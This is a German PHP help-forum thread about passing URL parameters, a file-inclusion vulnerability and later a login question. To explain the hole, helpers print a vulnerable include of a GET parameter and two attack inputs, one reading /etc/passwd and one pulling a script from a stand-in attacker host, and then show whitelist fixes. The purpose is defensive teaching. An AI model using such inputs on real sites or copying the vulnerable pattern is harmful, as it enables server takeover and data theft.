hallo !
habe mir eine php gebastelt die ein div - element enthält und der inhalt von diesem is mitübergebenen parameter abhängig
z.b. http://localhost/php/index.php?content=gallery
hier würde in der div dann der inhalt von gallery dargestellt funktionietr auch perfekt auf diese weise nur jetzt hab ich in meiner div nochmal ein div un möchte diesen inhalt wieder dynamisch gestalten. dieser soll von einem 2ten parameter abhänhgig sein der per hyperlink mit übergeben wird ....
jedoch find ich nicht wie der syntax dafür lauten soll :
http://localhost/php/index.php?content=gallery?gallery=sxdx geht nicht
danke
matthias
Homepage selbermachen 7.852 Themen, 35.619 Beiträge
http://localhost/php/index.php?content=gallery&gallery=sxdx
so sollte es gehn...
WL
Deine URL ist an sich richtig, wird aber aus Sicht von HTML und XHTML invalide, da ein & maskiert werden muß, da es sonst als unbekannte Entität angesehen wird 8falls man Wert auf valides HTML legt). Ganz sauber sähe es so aus:
http://localhost/php/index.php?content=gallery&gallery=sxdx
@Originalposter: Was Borlander angemerkt hat ist übrigens sehr wichtig. Würdest Du nämlich z.B. per include dann die Ressource gallery.html oder gallery.php einbinden wäre dies eine böse Lücke mit der schlimmstenfalls der gesamte Server übernommen werden kann. Mach also nie sowas:
include($_GET['content'] . 'php');
Du nutzt aber hoffentlich nicht den übergebenen Parameter als Dateinamen? Das wäre nämlich eine böse Sicherheitslücke...
Gruß
Borlander
hi erst mal danke für die antworten .....
mit dem "&" hats funktioniert, haett man eigentlich auch selbst drauf komme können aber zum glück gibst ja fleißige helfer wie euch...
hm dass das ganze so nicht ganz sicher ist hab ich auch schon gelesen....aber was ernsthaftes ist es eh nicht nur ein wenig rumspielerei mit php und sql
aber wenn wir schon beim thema sind wie könnte man dass ganze "sicher" lösen ?
@xafford : also dass es unsicher ist weiss ich aber wie kann man durch so einen befehl den "gesamten server" übernehmen ?
mfg
matthias
Angenommen Du machstwirklich folgendes:
include($_GET['content'].'.php');
und nehmen wir jetzt mal weiter an, in PHP ist der Parameter allow_url_fopenwrappers auf On, was er standardmäßig auch auf fast allen Servern ist. Nimm jetzt mal an, ich will was böses auf deinem Server, dann geht je nach Sicherheitskonfiguration des Servers so einiges. Überlege mal was der Server eventuell mit folgenden übergebenen Parametern machen könnte:
?content=/etc/passwd
?content=http://boser-server.com/boeses-script.php
:o)
aso ja ok leuchtet ein aber wenn ich es doch so mache muesst ich das ganze doch "entschärfen" können oder nicht ?
$variable = $GET['content'];
...
if ($content=="übergebenerwert") {include ("bsppage.php");}
...
mfg
matthias
$variable statt $content natürlich
Ja, so kannst Du es entschärfen. Geeigneter da übersichtlicher bei mehreren Seiten ist jedoch switch:
$page = 'seite0.html';
switch($_GET['content']) {
case 'seite1':
$page = 'seite1.html';
break;
case 'seite2':
$page = 'seite2.html';
break;
...
case 'seiteN':
$page = 'seiteN.html';
break;
default:
$page = 'gibt_es_nicht.html';
}
include($page);
... ist ein assoziatives Array ;-)
$pages = array(
"seite1" = > "seite1.html",
//...
"seiteN" = > "seiteN.html",
);
$page = $pages[$_GET['content']];
$page = $page=="" ? "default.htm" : $page; // Unbekannten Wert abfangen
include($page);
Gruß
bor
Okay, ist komfortabler ... (aber langsame) :o)
Hast Du das mal gebencht? Zumindest bei sehr vielen Auswahlmöglichkeiten sollte das doch schneller werden (irgendwann hatte ich mal gelesen das die Arrays auf als Hash-Listen implementiert sind).
Gruß
bor
Nein gebencht habeich es nicht, allerdings dürfte der Aufbau eines Arrays über die Allkokation von Speicher und der Lookup eines Hashtable mehr Taktzyklen verschlingen, als ein paar JNEs. Das dürfte letztendlich aber beides unerheblich sein, ich wollte nur was zu Meckern haben ;o)
Nach Du meine Illusionen sparsamer Laufzeit nun zerstört hast muß ich Dich aber auch noch ein wenig ärgern :D Das Parsing des Scriptes sollte auch nicht vernachlässigt werde, bei Lösung mit Switch muß der viel mehr Zeichen fressen :p
Ja, aber zur Compilezeit muß ja auch der Speicher alloziiert werden für das Array... ;o)... einigen wir uns aus unentschieden? :D
Aber klar doch :-)
so hi ich wieder mal ....
ich möchte folgendes machen ..... ich habe kleines forum für ein paar friends von mir ... und jetzt möchte ich dass sich die user des forums auch auf meiner php seite einloggn können und dann bestimmte bereiche angezigt werden usw ....
wie kann ich denn sowas bewerkstelligen ....
mfg
matthias
... im einfachsten Fall kannst Du das sogar ohne PHP lösen mit Hilfe von htaccess (siehe auch SelfHTML).
naja ich wuerde aber gerna die user und laufenden registrierungen von der foren software gern uebernehmen.
also die user direkt aus dieser datenbank auslesen. deswegen wäre htaccess glaub ich ein wenig ungeignet oder ?
Gibt es für die Forensoftware nicht schon ein fertiges Modul, oder eine Schnittstelle für ein solches Modul?
also die user direkt aus dieser datenbank auslesen.
Das wäre natürlich kein Problem mit den mysql_*-Funktionen...
Am besten schildest Du nochmal an welcher Stelle Du konkret festhängst, ggf. auch in einem neuen Thread.
hab leider kein derartiges modul gefunden ....
hab mal nen screenshot gemacht evtl wird dann deutlicher was ich meine
http://mitglied.lycos.de/bodycheckdaniels/page.JPG
ich möchte jetzt zum beispiel dass diese "admin box" nur bei bestimmten user angezeigt wird die sich über die beiden forlumarfelder einloggen können.
der logvorgäng muesste irgendwie in einer "session" hinterlegt werden damit sich die user nicht nach einen klick auf einem link wieder einloggn muessen
danke, u mfg
matthias